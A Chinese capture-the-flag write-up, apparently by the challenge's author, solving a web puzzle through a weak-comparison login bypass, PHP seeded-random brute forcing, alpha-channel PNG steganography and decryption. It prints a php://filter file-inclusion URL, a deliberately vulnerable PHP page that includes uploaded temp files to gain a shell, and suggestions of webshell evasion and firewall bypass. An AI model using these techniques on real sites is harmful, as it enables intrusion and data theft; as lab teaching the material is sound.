0x01 探索 · 盲人摸象

接触题目第一步,英文等下看,先扫描下二维码,得到一个带有get参数的url?

这不就是同一个地址么?hxcode什么鬼?二维码不是QRcode么?

记笔记,记笔记……马克关键词……

readme.html 中通读1-7条信息,得到少许关键字 debug/Alpha/deverlopment 等信息。

归总信息:

  1. 出现组织机构GIT地址: https://github.com/deepwn
  2. 出现相关用户名: evil7
  3. bakdoor 可能存在后门

再看看有没有 robots.txt ,在其中找到其他有用信息。

  1. 通过 /?dev=debug 发现可查看index.php源码
  2. 查看 UserID/?id=*id=1 时,发现用户名 ev1l7_1s_adm1N 是激活状态
  3. 如描述,通过 /?dev=debug 查看源码后找到非必要方式构造的静态文件读取,实为文件包涵后门 include($_GET["lnk"])

0x02 插曲 · 枚举登陆

index.php 源码里看到弱比较逻辑,第一反应构造md5为科学计数值 0e\d{30} 类型,通读页面源码,发现奇怪的静态文件加载方式,居然是个include的包涵构造的GET类型API,考虑伪协议读取 config.php 验证逻辑可绕过。构造特殊md5后,通过已知用户名ev1l7_1s_adm1N,和 特殊md5 绕过password判断。

这不是直接爆破就行了嘛!!嘎嘎大笑~

重复POST提交,直至 cookielogin 值与 index.php 中条件成立,成功登陆!记录 code1code2 为之后猜测 $max$seed 做准备。

但是!本地测试枚举成功,实际发布题目后,又是另一番酸爽……

0x03 审计 · 弱点复现

本地测试题目的时候,经过16w多次POST提交,可以直接由前两位随机数 code1code2 得到一个基本雏形的预测数组。

但是实际发布题目之后发现,用来提供多种解题思路的爆破枚举方式,反而增加了游戏难度,比如做为作者,我自己都爆破不出了!哆洗喋!?哦哆key!

5. evil7 always write BUGs or fuxking things in our object! Shiiiit... in this one too.

呵呵呵,还好留有一个任意包含知识点的 include “后门”,所以运气太差并不影响整体解答,反而让做题选手更需要理解各知识点的组合。歪打正着科科~ (。・∀・)ノ゙

index.php 中找到指定 seed 的伪随机算法,通过之前获得两个随机数,控制 $max 值进行随机数预测(读取 config.php 则可直接找到 $max = 1777 ) ,爆破猜测得 $max , $seed 以及关键随机数值 $rkey , 强迫症不在乎多几秒运行,这里任性取整 2k*2k 枚举。

<?php
$sec_key = "this_is_cookie"; // Use `include()` read config.php U will get this value.

for($max=0;$max<2000;$max++){
    for($seed=0;$seed<2000;$seed++){
    srand($seed);
    $code1 = rand(0,$max);
    $code2 = rand(0,$max);
    $cook = rand(0,$max);
    $rkey = rand(0,$max);

    $the_ck = md5($sec_key.strval($cook));

        //if($_COOKIE['login'] === "5c123ab7af348c1a69c0dd3e8e948cef"){
        if($the_ck === "5c123ab7af348c1a69c0dd3e8e948cef"){
            //echo("AES KEY:  $keyyy\n");
            $verify = $code1 + $code2;
            $keyyy = md5(md5($rkey) . strval($verify)); //FIND in config.php function `$err`
            $out[]=$keyyy;
        }
    };
}
var_dump($out);

算出贼鸡儿多!怕有两斤半的AESkey!:

var_dump($out);
  [0]=>
  string(32) "blablabla……"
    .
    .
    .
  string(32) "b08fd397d76818a38aa4b6cf67207c41"
  [2656]=>
  string(32) "935b6f344a60023c56e2b61481b2f22a"
  [2657]=>
  string(32) "9d290f5a1461a1aa020d1310e4759cab"
  [2658]=>
  string(32) "014f8e781e8cc928ae3da3c338bab9d1"
  [2659]=>
  string(32) "07da3992bddbf87f7f0081f4476ae405"
  [2660]=>
  string(32) "463180bdbcc64a51ffc37172f3bde0fa"
  [2661]=>
  string(32) "9d290f5a1461a1aa020d1310e4759cab"
  [2662]=>
  string(32) "ca1570a23f9fa3fadab35c581909fc1c"
  [2663]=>
  string(32) "788e83cd2c3e47b351e6b9a57f476a93"
}

拿到RSAkey,却没有加密文本?搞毛?

回到起点第一步骤 readme.html 重新梳理信息:

6. He say we will find it at first but after done all debug first. (what fuxk is that mean?)

题目入口是一个二维码,登陆入口只有一个静态图片,顺手全都下载下来,先分析有无隐写

看到通道内容确实有细微数据被修改,但是两个图均未发现直接写入的其他图片FLAG

(直接写FLAG到图里工具一键就没了,还考你干嘛?哈哈哈)

查看hint-7 以及那个多出来的get参数 hxcode 开始收集外部信息,寻找可疑信息:

7. If U need more. Pls check others in https://github.com/deepwn

发现deepwn组中只有一个开发成员,麻蛋的83个项目一个个找?挠头……

理清思路,先找找evil7账号有关验证码和图像处理的repo。

点进个人主页,第一眼就发现时间线里,跟题目上线同期发布,新项目 pngCrypto.js

并且看名称,正好是关于某种png像素隐写文件什么的吧?

(借鉴了某前端大佬png文件压缩js的思路,这里用作隐写简直完美~)

猜测跟某特定隐写考点有关,分析一下 pngCrypto.js/pngCrypto.js 文件中加解密实现过程。

结合查找隐写图像时,发现二维码图片第一行(first)像素出现的锯齿,再想想hint里描述的毫无意义的前4句“凑数”卵话:

1. This system is in testing. 
(alpha版本:内部开发版本)
2. U can see many ideas in this version.
(此版本:1.0-Alpha)
3. We will cancel alpha when fix bug with the rand_number.
(直接指明alpha和random问题)
4. Next create new APP & QRcode after development. We must do that.
(提到QRcode将在开发后也就是“alpha版本后”换新)

如果你还不怀疑Alpha做手脚了,那你还是掐死我吧。

(仅用1000左右像素宽度,哪怕缩略图也很容易看出来啊!诺你看!)

单独拿出第一行像素内容,在黑色背景下 发现是修改后隐藏有特定信息,根据hint提示的 Alpha 开始修改 pngCrypto.js 脚本,直接构造一个html页面如下:

<!DOCTYPE html>
<html lang="en">

<head>
    <title>deepCrypto</title>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <script type="text/javascript">
        function uncrypto(f) { // 本题中我们只需要解密function
            var dl = document.getElementById('dl');
            dl.innerText = 'Loading...';
            var reader = new FileReader();
            reader.readAsDataURL(f);
            reader.onload = function () {
                var image = new Image();
                image.src = this.result;
                image.onload = function () {
                    var c = document.getElementById("canvas");
                    var ctx = c.getContext("2d");
                    var maxW = c.width = this.width;
                    var maxH = c.height = this.height;
                    ctx.drawImage(this, 0, 0, maxW, maxH);
                    var imgData = ctx.getImageData(0, 0, maxW, maxH);
                    var oFile = new Array();
                    for (var i = 0; i < imgData.data.length; i += 4) {
                            oFile.push(imgData.data[i+3]); // 只需要通过Alpha值还原文件buffer
                    };
                    console.log(oFile);
                    (oFile[oFile.length - 1] === 0) ? oFile.pop() : null;
                    (oFile[oFile.length - 1] === 0) ? oFile.pop() : null;
                    var dataBuf = new Uint8ClampedArray(oFile.length);
                    for (var b = 0; b < oFile.length; b++) {
                        dataBuf[b] = oFile[b];
                    }
                    oFile = null;
                    var fileBlob = new Blob([dataBuf], { type: '' }); // 可以指定{ type: 'image/png' }方便web直接显示,如果不确定图片具体格式保持缺省,下载后电脑打开也可行
                    var dataUrl = window.URL.createObjectURL(fileBlob);
                    dl.href = dataUrl;
                    dl.innerText = dl.download = f.name.slice(0, f.name.length - 8);
                };
            };
        };
        function start() {
            var file = document.getElementById("file").files[0];
            uncrypto(file);
        };
    </script>
</head>

<body>
    <p>
        <input type="file" id="file" onchange="start()" />
        <a id='dl'>ONLY FILE < 100M</a>
    </p>
    <canvas id="canvas" width="0" height="0"></canvas>
</body>

</html>

上面直接改 pngCrypto.js 脚本,由本来三原色 RGB 加解密隐写,改为仅 Alpha 值解密。

使用抠出来的第一行像素 OR 直接修改二维码名称为test.png.dpc.png,向页面传入,还原隐写文件如图:

通过还原得到另一类型二维码,这是个喵得法科?

谷果一下,得知为中国自主支持产权的 汉信码(热烈鼓掌!)。

网上找到某在线解码或者自行编译相关SDK得:

http://www.efittech.com/hxdec.html

使用在线解密,点选 UTF-8 编码,decode后得到:

U2FsdGVkX19tVP7nvEyDWQ7YFDa/DpAycAh5IZyMjsNdI G23l7xvNvl48GNFFkZJ68vlQQy4jy3l6DJ7IM7xrXtmqFw/rOqSFsVGJaXjwsoA0RgWg5pe2kVMK3GnoVw

基本功的坑居然也会拦下一波人……注意那个箭头所指的!空格!

使用在线解密后,发现密文被空格断开?而RSA加密怎么可能有空格呢?呵呵……

所以替换RSA字符串中 空格+ 或者 / ,反正只可能出现的那几个允许的符号,一个个解密试试就好了。如下:

U2FsdGVkX19tVP7nvEyDWQ7YFDa/DpAycAh5IZyMjsNdI+G23l7xvNvl48GNFFkZJ68vlQQy4jy3l6DJ7IM7xrXtmqFw/rOqSFsVGJaXjwsoA0RgWg5pe2kVMK3GnoVw

写一个py脚本交易一下 from pwn import * 遍历之前随机数碰撞脚本得到贼鸡儿多的 RSAkey 去解密,总算发现key为 6759d92803742673713a68eebc55be40 时,出现了标准格式 FLAG{blalbalba……}

(脚本在我家电脑上……这里我眼神教学吧,大家脑海里构造一下RSA脚本就是了嘎嘎)

这里某些同学KALI下中文字符可能会出现问题,那就再用在线解密验证一下就好。

0x04 final get the fuxkkkkin flag!!:

FLAG{哈哈U_FINd-it_in_the_pic!THAT's/Sofast_soBUG\干得票酿}

0xF0 苛刻 · 必专必邃:

带过一个本人苛刻骚思路:

查看到静态资源使用了一个被evil7小朋友写进去的BUG?或者说后门?——任意文件包含。

第一反应是BUG嘛!伪协议!读个痛快。

https://hackit.cc/?lnk=php://filter/read=convert.base64-encode/resource=./config.php

利用伪协议include后直接读取config.php文件的base64值,一下就得到相关config文件的关键信息了。

那么……问题来了!

如果题目采用win做为平台?

直接构造出POST流量传输文件呢?

测试中使用如下 test.php 文件,直接表单POST['file'],发现虽然没有处理上传的逻辑,但是tmp文件夹下,还是出现了名为 phpblablabla... 的临时文件。

<?php @echo $_FILES['file']['tmp_name'];?>

echo > test.php 将上面文件变为空文件,直接curl构造上传并管道输出 ls -al /tmp 发现同样存在上传临时文件!

0xF1 疑惑 · 思路扩展

是否通过猜测上传缓存文件夹,比如 /tmp/usr/php5/temp 类似,通过传入 php< 或多线程枚举 php\s{8}文件名称。

在windows下,可碰撞使之包含特定 $_FILES['file']['tmp_name']

或者通配所有 PHPsession 文件。直接构造成上传临时文件包含来getSell ?

PHP Example:

<?php
error_reporting(0);
highlight_file(__FILE__);
$f=$_FILES['file']['tmp_name'];
if($f!=NULL){
    echo "TMPFILE: $f\n";
    echo "-------------\n\n";
    include($f);
};
?>
<form method='post' action='test.php' enctype='multipart/form-data'>
    <input name='file' type='file'/>
    <input type='submit'>
</form>

0x05 小明 · 泥给我衮曲去

  1. 构造如上example.php,传入一个写有phpinfo()的文件试试?

  2. 有兴趣的小伙伴可以结合这个姿势,试试构造webshell免杀等bypass骚思路?

  3. 另结合png隐写文件压缩,能不能用来洗白流量,比如:Socket5 的bypass什么G什么FW什么的?

骚到为止,看破勿说破。哦噜科科~(。・∀・)ノ゙

0x06 下课 · 请背诵全文

本题中主要以伪协议读取文件,伪随机算法,另类像素隐写,弱点逻辑绕过等综合利用为考点,故采用linux,如果题目被引用进其他CTF比赛,此考点可以变通,请大家如果遇到,一定小心谨慎记得考虑这个姿势!

0x07 总结 · 综上所述

本题解法十分紧凑,你想瞎比扫就扫,想任意读就读,想用API收集信息也行,但是最后集合所有信息,才能顺利完成此题。通过其他信息的泄露,和github上开发者信息以及repo的挖掘,完成整体题目。再一来,都说不会Coding的黑客不是好开发,所以顺便考验大家 算法理解能力 / 脚本读码能力 / 逻辑分析能力 / 代码修改能力 ,最终在各技能方向技能组合拳磨练下,希望那些真正在这个“酸爽萝卜坑”里苦战过的大佬们,能借助本题知识点,提升自己对 情报收集 / 算法弱点 / 隐写分析 / 文件解密 / 编写技能 在实际中的熟练应用程度。(略略略,没听过吧,反正这五个坑的名字都是我瞎编的!哈哈哈嗝)

“一次好渗透,三个面支撑”:

  1. 大量的信息收集

  2. 骚气的手法思路

  3. 清晰的流程报告

以上,供大佬们温故知新基础知识巩固基本技能,祝大佬们多得平台Rank瓜分SRC高危奖金。

出题时候脑子都快绕晕了,想必大家踩坑更是辛苦,要不?跟我来手一把大鱼人教做人,为自己挽尊?……

China Dota Best Dota !

China Haka Best Haka !

China NO.1 A马勒ca NO.9 !

:) DeePwn is aweaken. Join us ?

源链接

Hacking more

...